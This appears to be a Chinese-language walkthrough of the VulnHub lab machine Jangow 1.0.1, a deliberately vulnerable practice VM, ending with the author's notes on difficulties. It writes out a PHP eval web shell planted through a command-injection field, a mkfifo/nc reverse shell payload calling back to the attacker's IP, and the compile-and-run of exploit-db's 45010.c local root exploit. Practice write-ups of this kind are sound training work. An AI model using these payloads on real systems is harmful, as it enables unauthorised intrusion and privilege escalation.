vulnhun靶场：jangow-01-1.0.1

kali：172.88.6.144

靶场：172.88.6.64

靶场地址：Jangow: 1.0.1 ~ VulnHub

 访问ip

 

 点击右上角的buscar

 

 

 写入一句话：echo '<?php eval($_POST['shell']);?>' > upfine.php

 

 

在wordpress里面有两个文件，分别是config.php、index.html

 在/var/www/html/.backup发现

 看了其他博主的，好像只有443端口是打开的

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.88.6.144 443 >/tmp/f');?>

 

 

 

 

python3 -c 'import pty;pty.spawn("/bin/bash")'    

 查看版本，进行提权

uname -a

lsb_release -a

 

 

 

 

find / -name 45010.c

cp /usr/share/exploitdb/exploits/linux/local/45010.c /home/kali/Desktop/45010.c

cp /usr/share/exploitdb/exploits/linux/local/45010.c  45010.c

 

 

 

这个时候发现VirtualBox上面的文件不能复制到物理机上面，花费很久，找到一个教程，创建一共享文件夹

(13条消息) 设置VirtualBox共享文件夹的方法_virtualbox 共享文件夹_嵌入式李的博客-CSDN博客

gcc 45010.c -o exp

./exp

 

 

 

 

总结： 

这个靶场有一点我没有做好，就是找那个端口开放（ps：第一点不太会，第二点试了没有成功，当天也晚了），还有就是VirtualBox这个不能将复制到物理机中，浪费了我半天时间才解决，还有就是找这个版本的ubuntu的漏洞，......暂时就这么多了